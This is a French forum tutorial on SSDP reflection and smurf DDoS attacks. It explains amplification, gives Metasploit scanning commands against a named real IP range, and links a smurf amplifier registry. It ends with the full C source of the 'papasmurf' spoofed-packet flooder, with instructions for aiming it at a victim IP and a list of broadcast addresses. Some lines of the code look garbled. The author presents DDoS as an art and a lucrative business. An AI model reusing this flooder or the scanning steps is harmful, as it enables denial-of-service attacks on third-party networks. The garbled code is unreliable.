Annonce

Réduire
Aucune annonce.

Attaque SSDP-Nouveautés 2014

Réduire
X
 
  • Filtre
  • Heure
  • Afficher
Tout nettoyer
nouveaux messages

  • Tutoriel Attaque SSDP-Nouveautés 2014

    Attaque SSDP-Elle est sur toutes les langues en 2014

    Cher Amis,


    Je vais essayer de vous présenter une attaque SSDP grâce à Metasploit mais aussi par DDOS Reflexif.
    Petit Rappel simplifié:
    • Ddos : Attaque par Déni de service à partir de multiples machines
    • Dos : Attaque par Déni de service à partir d’une seule machine

    Le DDOS est la phase ultime d’un Hacker qui va essayer par la de bousculer un serveur en se basant sur l’étude des protocoles de ce système cible. Le but véritable est de mettre en exerbe les MDP ou autres valeurs cachés par le système.
    La popularité croissante du Dos et surtout du Ddos depuis 2012, viens surtout du fait de la facilité à mettre en œuvre. Je parle pour ce qui est de manière Réflexive ou encore les classiques : Flooding (Syn. Attack,…), Smurfing, Packet Fragment. Je reparlerai un autre jour de l’attaque à partir d’un serveur en Flooding image.

    Petit Rappel Nostalgique :
    On se souvient à l’époque avec le basic de ce genre de code qui répétais à l’infini un mot, une phrase peu importe. Bon il suffisait alors de relancer la machine mais il fait partie des premiers exemples de Dos, on saturait la machine d’une information sans fin qui bloquer alors le service.

    Code:
    • 10 PRINT « blabla! »;
    • 20 GOTO 10
    Après ce petit rappel historique ou devrais je dire préhistorique pour certains  voyons ensemble ce qui nous intéresse dans cet article la faille SSDP.

    On ne peut élaborer une stratégie de Ddos sans étude au préalable de la cible. Tenez pour certains petits malins qui se croient au dessus des autres avec leur Tool Kiddies Vb6 :
    « Compte tenu des performances actuelles des serveurs et de la généralisation des techniques de répartition de charge et de haute disponibilité, il est quasiment impossible de provoquer un déni de service simple comme décrit dans les sections précédentes. Il est donc souvent nécessaire de trouver un moyen d’appliquer un effet multiplicateur à l’attaque initiale. »

    Je suis en accord total dans cette affirmation Wikipédia.

    No Comment !
    Shut up !
    Et tout le monde ira mieux. Désolé de cette interlude in my mind mais je m’insupporte de ces gens qui ont lus 4 lignes d’un tuto de merde dans le net et on créé un Tool de Re-Merde sur le net et ensuite lance des attaques Bidon qui ne font même pas vaciller un serveur de Merde.
    DOS is the END !! Voila c’est dit OK.

    Il vit ses dernière heures faut arrêter de produire des vidéos et autres conneries de ce genre et faire croire aux s le contraire. Vous n’êtes que des Mytho arrogant point à la ligne , fermer vos chaînes vous ferez du bien à la couche d’oZone ^^.

    Imaginez le technico derrière son fauteuil pénard qui voit l’attaque de l’autre avec son Tool sur son moniteur. Il se dit mince on est foutus il va nous destroy vite tout le monde aux abris . Une piqure de moustique sur un Éléphant voila l’attaque ce qu’elle donne en réalité. Le mec en plus se shout solo et le Summum si si j’ai vus sur Youtube, il balance une vidéos en disant j’ai Ddos le serveur en 30secondes voila Bla Bla bli Bla Bla bleurk.

    Bref, il Ddos que dalle et ne Dos personne. Il a pris une voix à la Anonymus de Merde blablate une heure pour rien dire et attends vos clique.
    Sachez que leur but c’est essentiellement d’avoir des abonnés en vendant de la Merde un peu le principe des commerciaux d’Electrolux dans les Années 90.
    Les vrais hackers qu’on se le dit une bonne fois pour toutes ne se mettent pas en pâture sur Youtube avec des vidéos en empruntant la voix d’Anonymus.
    Les vrais hackers sans données de noms, ils communiquent sur Twitter ou IRC sur des sites sécurisées et privées. Ce sont des Développeurs pour la plupart et le hacking est un Hobbies lucratif pour certains au vu des gains générés derrière. Faut bien mettre du beurre dans les épinards. Au grand Dame de ce que la passion de certains pourrait croire, ils ne sont pas tous ce que laissent présager les Kiddies en dénaturant leurs véritables identités et en mystifiant des personnes qui sont à 10000 lieus de la version présenté. Si Vous n’avez qu’un jour la chance de pouvoir participer à la nuit du hack afin d’en rencontrer et vous comprendrez la large différence d’esprit.

    Revenons à nos moutons ou plutôt à notre SSDP.
    Je vais encore faire une citation, Arbor:
    « Arbor Networks Inc. publie les statistiques mondiales relatives aux attaques DDoS pour le troisième trimestre 2014, faisant apparaître une recrudescence notable des attaques par réflexion SSDP (Simple Service Discovery Protocol). Alors que la société avait observé très peu d’attaques employant SSDP comme mécanisme de réflexion au deuxième trimestre, près de 30 000 d’entre elles ont été enregistrées durant le seul troisième trimestre, dont l’une atteignant 124 Gbit/s. Ces chiffres confirment ce qu’Arbor Networks a appelé The Hockey Stick Era, avec une tendance persistante à des attaques volumétriques de grande ampleur tout au long de l’année 2014. »
    De par ce fait, une analyse par scan au préalable des protocoles d’un serveur est indispensable afin de savoir si le port 1900 relatif à SSDP (dans notre étude) est open. Pour ce faire nous allons voir après la présentation de ce protocole, jusque là peu relater dans les sites, une manière de savoir si le serveur est faillible à une attaque par réflexion via SSDP.

    On est loin des Dos à l’aide d’un Tool Vb6 codé par le biais d’une vidéos youtube de merde. Et hop on met l’IP et hop on clique sur Launch et hop on Dos que Dalle. Si vous suivez mon blog vous comprendrez que Ddos est également un art, il peut être une arme redoutable s’il est utilisé intelligemment par le pirate.

    Malheureusement, de nos jours la flagrantes naïveté des Kiddies ainsi que le développement de novice sans aucune formation réseau ni informatique, on permit la prolifération de ce genre de pratique induite par de grands manipulateurs du net.

    Les Russes sont les quidams du Ddos, ils excellent dans cet art depuis assez longtemps maintenant.
    En effet, Russes et le Ddos c’est une histoire qui date depuis longtemps. Ils sont les spécialistes de ce genre de technique. Les Russes monétisent et rentabilisent le Ddos, c’est un vrai bizness, une véritable institution. Je connais des sites black Russes qui sont régis par une véritable Mafia. Des millions d’Euros passent entre leurs mains et tout bonnement la Mafia récupère une partie du Biz. Allez y foutre le bordel et vous comprendrez l’erreur. Certains pirates ont été menacés via ces sites et pas qu’un peu. On parle de représailles physique et non plus virtuelle.

    Alors si vous vous lancez dans ce genre de bizness ne faite pas de vague et n’empiétez pas sur le champ Russe. Les chinois eux sont surtout spécialisés dans le spam et les Nems΃΃΃Nan je plaisante ☻.

    « Dites-leur que chacun sa route
    Chacun son chemin
    Chacun son rêve
    Chacun son destin
    Dites-leur que chacun sa route
    Chacun son chemin
    Passe le message a ton voisin »

    Comme disais Tonton David

    Jusqu’à présent le protocole SSDP étais peu mis en avant par les pirates pourtant cette dernière année on a vu un revirement de situation et une utilisation de ce genre de protocole pour effectuer des Ddos fulgurants.
    Je ne vous cache pas qu’avec l’essor considérable de plateforme sécuritaire Ddos et je pense à Arbor, CloudFare et bien d’autres,sont au fait que les pirates ont du chercher dans les vieux protocoles oubliés de nouvelles sources d’attaque.
    Les attaques Réflexives perdaient en vitesse ces 2 dernières années.
    SSDP (Simple Service Discovery Protocol) – communément appelé Universal Plug and Play (UPnP) – permet aux périphériques de découvrir leurs voisins, que ce soit par la découverte de réseau de service (de recherche) ou la radiodiffusion de service de réseau.
    Après record DNS et NTP attaques plus tôt cette année, ce protocole est devenue omniprésente encore une autre victime de l’exploitation par des pirates, en raison de vulnérabilités trouvées dans les appareils populaires comme les routeurs et NAS. Je vous renvoie sur NexusGuard qui est une bonne source pour la compréhension des attaques Ddos tout comme Arbor.

    Bien passons aux étapes de ce Tutoriel/Article.

    I) Attaque Réflexive KéZaKo ?



    Lorsqu’on parle d’attaques par déni de service utilisant la réflexion, on pense souvent uniquement au DNS. Pourtant, d’autres protocoles permettent ces attaques : SNMP, UDP, TCP (si pas de connections demandé) et dernièrement SSDP.
    En quoi consiste une attaque par réflexion ? C’est une attaque où le pirate utilise une autre adresse que la sienne comme par exemple en passant par un VPS.
    Ensuite, il envoie des paquets avec cette adresse IP source qui n’est pas la sienne sur de multiples adresses IP qui transitent sur le même réseau cible. La cible initiale est submergée de paquets et donc sature son protocole ce qui se traduit par un blocage totale des transitions réseaux dudit serveur cible.
    Cela n’est possible que si le protocole de transport n’impose pas l’établissement d’une connexion. Ainsi, UDP est vulnérable mais pas TCP.
    Le trafic reçu par la victime peut être énorme en raison de l’amplification. Contrairement à certains protocoles comme ICMP echo (celui utilisé par Ping), les protocoles comme le DNS ou comme SNMP amplifient l’attaque lors de la réflexion : la réponse est souvent plus grosse que la question. Avec le DNS, on atteint des facteurs d’amplification de 40 ou 50. Avec SNMP, on atteint plusieurs centaines… Un attaquant peut alors obtenir une attaque de 100 Gb/s en « dépensant » seulement quelques dizaines de Mb/s.
    Le protocole SSDP a subis des attaques de 10GB en output voire plus.

    II) La famille d’attaque réflexive

    Rappelant la tendance d’attaque Ddos en 2014, les attaques réflexives amplifiés (rDdos) ont connus de nouveaux records et sont prévus pour couronner une Tbps (1Tbps = 1,000 Gbps) en fin d’année. Les attaquants, pleinement conscients de la bande passante totale utilisée pour lancer des attaques, sont très préoccupés par l’efficacité et caractère anonyme de ces attaques réflexives. Comme tels, ils visent toujours à maximiser le facteur de réflexion dans chaque demande unique tout en affectant le montant le plus élevé possible d’adresses IP publiques vulnérables.
    Selon les dernières recherches, bien que le rapport de la bande passante de réflexion moyenne de SSDP – ne soit pas aussi grand que celui de NTP ou DNS [ns], son ratio moyen paquet de réflexion est assez impressionnant – près de 10 fois la demande. Essentiellement, une demande falsifiée conduirait à 10 réponses SSDP indésirables d’un périphérique vulnérable.
    Voici un scénario plus effrayant: une recherche menée par Rapid7 en 2013 a indiqué que 2,2 % des adresses IP publiques, ou 81 millions, étaient vulnérables aux attaques Ddos SSDP, ce qui est nettement plus que les serveurs de noms disponibles ou les serveurs NTP.

    III) Le Fameux Protocole SSDP

    SSDP n’est pas conçu pour être un protocole Internet routable, période. En fait, il n’a jamais été va devenir une norme. Le projet Internet compilé par ITEF expiré en Avril 2000. Plus tard, il est devenu une partie de l’UPnP (Universal Plug and Play). Voici la définition officielle:
    SSDP: Simple Service Discovery Protocol. Une découverte de multidiffusion et le mécanisme de recherche qui utilise une variante de HTTP sur multicast UDP.
    Découverte
    Les points de contrôle peuvent également envoyer un message de recherche unicast à une adresse IP connue et le port 1900 ou le port indiqué par SEARCHPORT.UPNP.ORG, de vérifier l’existence d’un périphérique UPnP (s) et service (s) à l’adresse IP. »
    Simple protocole de découverte de service ou SSDP, les attaques par réflexion sont sortis de nulle part pour être une méthode de premier plan pour les grandes Ddos attaques de volume, selon les données compilées par Arbor Networks.
    SSDP Attack de réflexion exploite les faiblesses de configuration des serveurs en utilisant les protocoles SSDP pour augmenter l’ampleur de l’attaque Ddos.
    Il n’y avait pas les attaques par réflexion SSDP dans le deuxième trimestre de 2014, mais ils ont sauté à 4 % de toutes les attaques Ddos et 42 % de toutes les attaques de plus de 10 Gbps en Septembre, avec une aussi élevé que 124 Gbps. Dans l’ensemble, il y avait 133 attaques qui ont atteint plus de 100 Gbps cette année.
    Arbor recueille des données d’attaque Ddos à travers son programme Atlas, un partenariat avec près de 300 fournisseurs de services qui partagent des données de trafic anonyme.
    NTP attaques de réflexion, une fois la méthode Ddos à grand volume d’attaque le plus populaire , ont diminué en popularité, mais encore faire une majorité des attaques Ddos de plus de 100 Gbps.
    « Tout le monde est conscient de l’énorme tempête de NTP Ddos de réflexion attaques quelques années plus tôt, mais bien que NTP réflexion est encore important, il ne l »est pas autant que dans le passé – malheureusement, SSDP sera le prochain protocole à être exploités de cette manière « , dit Darren Anstee, directeur des solutions architectes de Arbor Networks.
    La moyenne Ddos surveillés attaque au troisième trimestre était 858,98 Mbps, et la plus grande attaque surmonté 264 Gbps, selon Arbor Networks.
    Source: Arbor Networks
    Par conséquent on conçois que dans leur soucis de toujours chercher de nouveau vecteur d’attaque et devant la grande popularité du Ddos en général (on voit les offres de Booter ,Botnet , … qui ne cesse d’augmenter) SSDP a vu le jour.

    IV) Comment Déceler une faille SSDP ?

    Nous allons voir dans ce cours tutoriels comment déceler rapidement si une faille SSDP est admise sur un serveur. A partir de ce moment la, vous devrez alors mettre en œuvre Metasploit afin de réupéré des informations sur les PC admis dans le réseau. Nous allons voir également comment s’élabore une attaque Ddos par reflexion et ce qui l’entoure.A savoir que je ne vais pas faire un tutoriel sur l’utilisation d’un script ou la mise en place d’un VPS ou encore d’un Botnet,… Cela n’est pas l’objet de ce tutoriel. Mais je pense que si vous avez des connaissances en hacking vous serez à même de rapidement lancer une attaque Ddos sur le serveur cible.
    Numérisation SSDP pour UPnP Vulnérabilités

    Récapitulatif:
    SSDP (Simple Service Discovery Protocol) est un protocole qui permet de diffuser et cherche des services de réseau. Sur les systèmes Windows, le service SSDP contrôle la communication pour la fonctionnalité Universal Plug and (UPnP) Play.
    Eh bien UPnP n’a pas été sans ses questions et plus tôt cette année HD Moore de Rapid7 a même créé un utilitaire qui permettrait à la fois numériser pour la communication SSDP et vous informer si le système était vulnérable aux attaques UPnP.
    Ce qui est intéressant à propos de l’outil « UPnP SSDP M-RECHERCHE Découverte d’information », c’est que non seulement il vous indique si la machine est vulnérable aux exploits UPnP, mais renvoie également des informations intéressantes sur la machine.
    Donc, si le système n’est pas vulnérable, les chances sont que vous serez au moins en mesure de dire que:

    • Il est en marche
    • Le service qui exécute
    • Et un nom d’utilisateur valide!

    L’outil de recherche est déjà inclus dans Metasploit. Donc, tout ce que vous devez faire est de lancer msfconsole qu’il soit installer sur Kali linux, Windows ou encore Linux et lancez les commandes et réglages qui vont suivrent :

    Lancez msf console (Metasploit)
    Tapez ces commandes:

    1. use auxiliary/scanner/upnp/ssdp_msearch
    2. show options
    3. set RHOSTS mettre la plage IP récupéré lors d’uns scan réseau sur la cible
    4. run

    Par exemple pour Unity-soft après un scan nmap et une recherche Ripe :
    The given IP range ‘158.255.96.192-158.255.96.255′ has been converted to the prefix ‘158.255.96.192/26’!
    158.255.96.192-158.255.96.255
    L’IP étant 158.255.96.200 on plage sur tout le réseau.
    Commande :
    -set RHOSTS 158.255.96.192-158.255.96.255
    Puis tapez « run » ou « exploit » et il va balayer la gamme de services de réseau UPnP publicitaires des systèmes à la recherche:





    >No SSDP endpoints found
    Ok pas besoin d’aller plus loin. Mon scan de vuln m’avais filer un False Positif, après discussion avec Xen il s’avère que son serveur a un contrat avec Arbor. All Right i’m understand because SSDP is secured.

    Voici des scans montrant une faille SSDP qui n’est pas de moi mais de Cyber Security.





    Ok, il a trouvé une. Il ne semble pas être vulnérable, si c’était les vulnérabilités UPnP, elles seraient inscrites avec le retour.
    Mais si vous remarquez qu’il existe un lien html. Dans ce cas, si l’on clique sur le lien, il nous est présenté un tas d’informations qui inclut le nom de la machine et un nom d’utilisateur valide!
    Comme vous pouvez le voir sur les résultats de l’analyse ci-dessus, le serveur multimédia a été exécuté sur cette machine, un nom de PC et nom d’utilisateur valide (bloqué pour protéger les victimes) a été révélé.
    Pour les services de sécurité, Exécuter cet utilitaire contre votre compagnie montrera rapidement les services qui sont ouvertement diffusés sur votre réseau. Si ces services sont accessibles à partir d’Internet ( plus de 40 millions le sont! ) alors vous avez des problèmes de configuration graves qui doivent être abordées soit avec un spécialiste soit avec la compagnie d’hébergement.

    Source: http://www.rapid7.com/db/modules/aux...p/ssdp_msearch

    Le script: https://github.com/rapid7/metasploit...sdp_msearch.rb

    V) ATTAQUE PAR REFLEXION

    En effet, il n’y a pas de faille mais pourtant on pourrais lancer une attaque Ddos sur ce protocole SSDP.

    La technique dite « attaque par réflexion » (en anglais « smurf ») est basée sur l’utilisation de serveurs de diffusion (Broadcast) pour paralyser un réseau. Un serveur Broadcast est un serveur capable de dupliquer un message et de l’envoyer à toutes les machines présentes sur le même réseau.


    Le scénario d’une telle attaque est le suivant :


    • la machine attaquante envoie une requête ping (ping est un outil exploitant le protocole ICMP, permettant de tester les connexions sur un réseau en envoyant un paquet et en attendant la réponse) à un ou plusieurs serveurs de diffusion en falsifiant l’adresse IP source (adresse à laquelle le serveur doit théoriquement répondre) et en fournissant l’adresse IP d’une machine cible.
    • le serveur de diffusion répercute la requête sur l’ensemble du réseau ;
    • toutes les machines du réseau envoient une réponse au server de diffusion,
    • le serveur Broadcast redirige les réponses vers la machine cible.


    Ainsi, lorsque la machine attaquante adresse une requête à plusieurs serveurs de diffusion situés sur des réseaux différents, l’ensemble des réponses des ordinateurs des différents réseaux vont être routées sur la machine cible.
    De cette façon l’essentiel du travail de l’attaquant consiste à trouver une liste de serveurs de diffusion et à falsifier l’adresse de réponse afin de les diriger vers la machine cible.
    Et si vous ne connaissez pas le système d’un serveur Broadcast Voici un lien avec toutes les explications, scripts, etc.…
    J’espère que ce nouveau tutoriel vous aurez servis à comprendre cette nouvelle angle d’attaque 2014 DDOS.

    le Broadcasting:
    Un serveur Broadcast est un serveur qui a pour fonction de renvoyer ce qu’il reçoit a tous les serveurs de son réseaux. Un Broadcast a toujours son IP qui fini par 255. Donc si vous voulez envoyer une info à tous les serveurs d’un réseau vous devez l’envoyer au Broadcast qui lui se chargera de faire suivre l’info a tous les PC du réseaux. Exemple: vous envoyez un paquet TCP à 195.212.45.255 il fera suivre a tous les serveurs existants ayant des IP entre 195.212.45.0 et 195.212.45.254 inclut.
    On pourrait trouver surprenant que je ne parle pas de multi casting ici seulement pour le smurf cela ne sera pas intéressant car le Spoofing dont je vais parler plus loin empêcherait les procédures d’identifications IGMP nécessaire pour joindre un groupe de serveurs multicast.
    En revanche si vous voulez savoir a quel groupe appartient un serveur Broadcast et quels sont les serveurs ou ordi qui en dépendent vous pouvez utiliser IGMP.
    un exemple de serveur Broadcast:

    http://www.powertech.no/smurf/ – Smurf Amplifier Registry

    VI) Solution contre une attaque SSDP

    • Fermer le port 1900
    • Augmentation de la bande passante
    • Utilisez un Service de protection Ddos (mitigation de la bande passante en quelque sorte)
    • Monitorer votre réseau ou surveiller à l’aide de sniffer comme par exemple: http://www.securityfocus.com/data/to...urflog-1.0.tgz
    Ces mesures restent efficace tant que la bande Passante Totale qui vous est alloué soit par mitigation, soit par le serveur (machine qui tourne derrière) sont suffisantes sinon Kaput le serveur.
    Détendez vous peu sont capables de faire tomber et un service qui vous protège et votre serveur.
    VII) Petit Bonus parce qu’il y a un bonus 

    Je vous ai parlé des Broadcast mais je n’ai pas donné de code source avec. J’en ai trouvé un bien sympa codé tout de C vêtu et qui vous comblera.

    Code:
    /* papasmurf.c */ 
    #include <stdio.h> 
    #include <netdb.h> 
    #include <sys/types.h> 
    #include <sys/socket.h> 
    #include <netinet/in.h> 
    #include <netinet/in_systm.h> 
    #include <arpa/inet.h> 
    #include <sys/stat.h> 
    #include <fcntl.h> 
    #include <unistd.h> 
    #include <stdlib.h> 
    #include <string.h> 
    #include <ctype.h> 
    #include <time.h> 
    #ifdef __USE_BSD 
    #undef __USE_BSD 
    #endif 
    #include <netinet/ip.h> 
    #include <netinet/ip_icmp.h> 
    #include <netinet/udp.h> 
    struct smurf_t 
    { 
     struct sockaddr_in sin; 
     int s; 
     int udp, icmp; 
     int rnd; 
     int psize; 
     int num; 
     int delay; 
     u_short dstport[25+1]; 
     u_short srcport; 
     char *padding; 
    }; 
    void usage (char *); 
    u_long resolve (char *); 
    void getports (struct smurf_t *, char *); 
    void smurficmp (struct smurf_t *, u_long); 
    void smurfudp (struct smurf_t *, u_long, int); 
    u_short in_chksum (u_short *, int); 
     
    int 
    main (int argc, char *argv[]) 
    { 
     struct smurf_t sm; 
     struct stat st; 
     u_long bcast[1024]; 
     char buf[32]; 
     int c, fd, n, cycle, num = 0, on = 1; 
     FILE *bcastfile; 
     fprintf(stderr, "\n(papa)smurf.c v5.0 by TFreak\n\n"); 
     if (argc < 3) 
     usage(argv[0]); 
     memset((struct smurf_t *) &sm, 0, sizeof(sm)); 
     sm.icmp = 1; 
     sm.psize = 64; 
     sm.num = 0; 
     sm.delay = 10000; 
     sm.sin.sin_port = htons(0); 
     sm.sin.sin_family = AF_INET; 
     sm.srcport = 0; 
     sm.dstport[0] = 7; 
     sm.sin.sin_addr.s_addr = resolve(argv[1]); 
     if ((bcastfile = fopen(argv[2], "r")) == NULL) 
     { 
     perror("Opening broadcast file"); 
     exit(-1); 
     } 
     optind = 3; 
     while ((c = getopt(argc, argv, "rRn:d:p:P:s:S:f:")) != -1) 
     { 
     switch (c) 
     { 
     case 'r': 
     sm.rnd = 1; 
     break; 
     case 'R': 
     sm.rnd = 1; 
     sm.srcport = 0; 
     break; 
     case 'n': 
     sm.num = atoi(optarg); 
     break; 
     case 'd': 
     sm.delay = atoi(optarg); 
     break; 
     case 'p': 
     if (strchr(optarg, ',')) 
     getports(&sm, optarg); 
     else 
     sm.dstport[0] = (u_short) atoi(optarg); 
     break; 
     case 'P': 
     if (strcmp(optarg, "icmp") == 0) 
     { 
     sm.icmp = 1; 
     break; 
     } 
     if (strcmp(optarg, "udp") == 0) 
     { 
     sm.icmp = 0; 
     sm.udp = 1; 
     break; 
     } 
     if (strcmp(optarg, "both") == 0) 
     { 
     sm.icmp = 1; 
     sm.udp = 1; 
     break; 
     } 
     puts("Error: Protocol must be icmp, udp or both"); 
     exit(-1); 
     case 's': 
     sm.srcport = (u_short) atoi(optarg); 
     break; 
     case 'S': 
     sm.psize = atoi(optarg); 
     break; 
     case 'f': 
     if ((fd = open(optarg, O_RDONLY)) == -1) 
     { 
     perror("Opening packet data file"); 
     exit(-1); 
     } 
     if (fstat(fd, &st) == -1) 
     { 
     perror("fstat()"); 
     exit(-1); 
     } 
     sm.padding = (char *) malloc(st.st_size); 
     if (read(fd, sm.padding, st.st_size) < st.st_size) 
     { 
     perror("read()"); 
     exit(-1); 
     } 
     sm.psize = st.st_size; 
     close(fd); 
     break; 
     default: 
     usage(argv[0]); 
     } 
     } 
     if (!sm.padding) 
     { 
     sm.padding = (char *) malloc(sm.psize); 
     memset(sm.padding, 0, sm.psize); 
     } 
     if ((sm.s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1) 
     { 
     perror("Creating raw socket (are you root?)"); 
     exit(-1); 
     } 
     if (setsockopt(sm.s, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) == -1) 
     { 
     perror("setsockopt()"); 
     exit(-1); 
     } 
     while (fgets(buf, sizeof buf, bcastfile) != NULL) 
     { 
     char *p; 
     int valid; 
     if (buf[0] == '#' || buf[0] == '\n') continue; 
     buf[strlen(buf) - 1] = '\0'; 
     for (p = buf, valid = 1; *p != '\0'; p++) 
     { 
     if ( ! isdigit(*p) && *p != '.' ) 
     { 
     fprintf(stderr, "Skipping invalid ip %s\n", buf); 
     valid = 0; 
     break; 
     } 
     } 
     if (valid) 
     { 
     bcast[num] = inet_addr(buf); 
     num++; 
     if (num == 1024) 
     break; 
     } 
     } 
     srand(time(NULL) * getpid()); 
     for (n = 0, cycle = 0; n < sm.num || !sm.num; n++) 
     { 
     if (sm.icmp) 
     smurficmp(&sm, bcast[cycle]); 
     if (sm.udp) 
     { 
     int x; 
     for (x = 0; sm.dstport[x] != 0; x++) 
     smurfudp(&sm, bcast[cycle], x); 
     } 
     usleep(sm.delay); 
     if (n % 50 == 0) 
     { 
     printf("."); 
     fflush(stdout); 
     } 
     cycle = (cycle + 1) % num; 
     } 
     exit(0); 
    } 
     
    void 
    usage (char *s) 
    { 
     fprintf(stderr, 
     "usage: %s <source host> <broadcast file> [options]\n" 
     "\n" 
     "Options\n" 
     "-p: Comma separated list of dest ports (default 7)\n" 
     "-r: Use random dest ports\n" 
     "-R: Use random src/dest ports\n" 
     "-s: Source port (0 for random (default))\n" 
     "-P: Protocols to use. Either icmp, udp or both\n" 
     "-S: Packet size in bytes (default 64)\n" 
     "-f: Filename containg packet data (not needed)\n" 
     "-n: Num of packets to send (0 is continuous (default))\n" 
     "-d: Delay inbetween packets (in ms) (default 10000)\n" 
     "\n", s); 
     exit(-1); 
    } 
     
    u_long 
    resolve (char *host) 
    { 
     struct in_addr in; 
     struct hostent *he; 
     if ((in.s_addr = inet_addr(host)) == -1) 
     { 
     if ((he = gethostbyname(host)) == NULL) 
     { 
     herror("Resolving victim host"); 
     exit(-1); 
     } 
     memcpy( (caddr_t) &in, he->h_addr, he->h_length); 
     } 
     return(in.s_addr); 
    } 
     
    void 
    getports (struct smurf_t *sm, char *p) 
    { 
     char tmpbuf[16]; 
     int n, i; 
     for (n = 0, i = 0; (n < 25) && (*p != '\0'); p++, i++) 
     { 
     if (*p == ',') 
     { 
     tmpbuf = '\0'; 
     sm->dstport[n] = (u_short) atoi(tmpbuf); 
     n++; i = -1; 
     continue; 
     } 
     tmpbuf = *p; 
     } 
     tmpbuf = '\0'; 
     sm->dstport[n] = (u_short) atoi(tmpbuf); 
     sm->dstport[n + 1] = 0; 
    } 
     
    void 
    smurficmp (struct smurf_t *sm, u_long dst) 
    { 
     struct iphdr *ip; 
     struct icmphdr *icmp; 
     char *packet; 
     int pktsize = sizeof(struct iphdr) + sizeof(struct icmphdr) + sm->psize; 
     packet = malloc(pktsize); 
     ip = (struct iphdr *) packet; 
     icmp = (struct icmphdr *) (packet + sizeof(struct iphdr)); 
     memset(packet, 0, pktsize); 
     ip->version = 4; 
     ip->ihl = 5; 
     ip->tos = 0; 
     ip->tot_len = htons(pktsize); 
     ip->id = htons(getpid()); 
     ip->frag_off = 0; 
     ip->ttl = 255; 
     ip->protocol = IPPROTO_ICMP; 
     ip->check = 0; 
     ip->saddr = sm->sin.sin_addr.s_addr; 
     ip->daddr = dst; 
     icmp->type = ICMP_ECHO; 
     icmp->code = 0; 
     icmp->checksum = htons(~(ICMP_ECHO << 8)); /* thx griffin */ 
     if (sendto(sm->s, packet, pktsize, 0, (struct sockaddr *) &sm->sin, 
     sizeof(struct sockaddr)) == -1) 
     { 
     perror("sendto()"); 
     exit(-1); 
     } 
     free(packet); /* free willy! */ 
    } 
     
    void 
    smurfudp (struct smurf_t *sm, u_long dst, int n) 
    { 
     struct iphdr *ip; 
     struct udphdr *udp; 
     char *packet, *data; 
     int pktsize = sizeof(struct iphdr) + sizeof(struct udphdr) + sm->psize; 
     packet = (char *) malloc(pktsize); 
     ip = (struct iphdr *) packet; 
     udp = (struct udphdr *) (packet + sizeof(struct iphdr)); 
     data = (char *) (packet + sizeof(struct iphdr) + sizeof(struct udphdr)); 
     memset(packet, 0, pktsize); 
     if (*sm->padding) 
     memcpy((char *)data, sm->padding, sm->psize); 
     ip->version = 4; 
     ip->ihl = 5; 
     ip->tos = 0; 
     ip->tot_len = htons(pktsize); 
     ip->id = htons(getpid()); 
     ip->frag_off = 0; 
     ip->ttl = 255; 
     ip->protocol = IPPROTO_UDP; 
     ip->check = 0; 
     ip->saddr = sm->sin.sin_addr.s_addr; 
     ip->daddr = dst; 
     if (sm->srcport) udp->source = htons(sm->srcport); 
     else udp->source = htons(rand()); 
     if (sm->rnd) udp->dest = htons(rand()); 
     else udp->dest = htons(sm->dstport[n]); 
     udp->len = htons(sizeof(struct udphdr) + sm->psize); 
    // udp->check = in_chksum((u_short *)udp, sizeof(udp)); 
     if (sendto(sm->s, packet, pktsize, 0, (struct sockaddr *) &sm->sin, 
     sizeof(struct sockaddr)) == -1) 
     { 
     perror("sendto()"); 
     exit(-1); 
     } 
     free(packet); /* free willy! */ 
    } 
     
    u_short 
    in_chksum (u_short *addr, int len) 
    { 
     register int nleft = len; 
     register u_short *w = addr; 
     register int sum = 0; 
     u_short answer = 0; 
     while (nleft > 1) 
     { 
     sum += *w++; 
     nleft -= 2; 
     } 
     if (nleft == 1) 
     { 
     *(u_char *)(&answer) = *(u_char *)w; 
     sum += answer; 
     } 
     sum = (sum >> 16) + (sum + 0xffff); 
     sum += (sum >> 16); 
     answer = ~sum; 
     return(answer); 
    }
    UTILISATION:
    Bon pour que l’on ait les mêmes références on va dire que ce code source s’appelle papasmurf.c, ce qui est vrai dailleurs, et qu’une fois compilé il s’appelle « smurf » (cc papasmurf.c -o smurf).
    En gros si on le lance comme ça: ./smurf, ca donne: ./smurf <source host> <broadcast file> [option] ce qui veut dire en gros que deux champs sont obligatoires, « source host » et « broadcast file ».
    Dans « source host » vous mettez l’adresse IP de la cible et dans « broadcast file » vous mettez le nom du fichier qui contient toutes les adresses des serveurs broadcast. Vous devez bien sûr créer ce fichier et le remplir par les adresses de broadcasts que vous avez trouvées dans les sites que j’ai cités dans la partie « broadcast list ».
    Les options sont expliqués et ne sont pas obligatoires dans l’utilisation basique du programme, je n’en parlerai donc pas.

    Merci à Seb pour l’update et la mise au point du code ainsi que les explications qui vont bien.

    Voila je pense avoir fait le tour du sujet sans pour autant être allé trop loin techniquement. Cet Article rentre en compte dans mon étude des failles récentes 2014. Je pense qu’avec les vacances qui arrivent on pourra les approfondir avant Février/Mars ou je risque d’avoir beaucoup de boulot jusqu’en Juin. Enfin, je ne risque pas j’en suis sur et certain que je vais bosser comme un fou.
    A bientôt.

    Ce tutoriel je l’écrit pour mon blog et celles et ceux qui veulent apprendre de nouvelles techniques.
    Partagez-le sans problème mais n’oubliez pas de citer ma participation même en tout petit au moins pour le respect des gens
    Sur ceux A bientôt.

    PS: Désolé si certains de mes propos peuvent choquer des gens mais j’en arrive à plus rien avoir à faire vu ce que internet deviens petit à petit.
Chargement...
X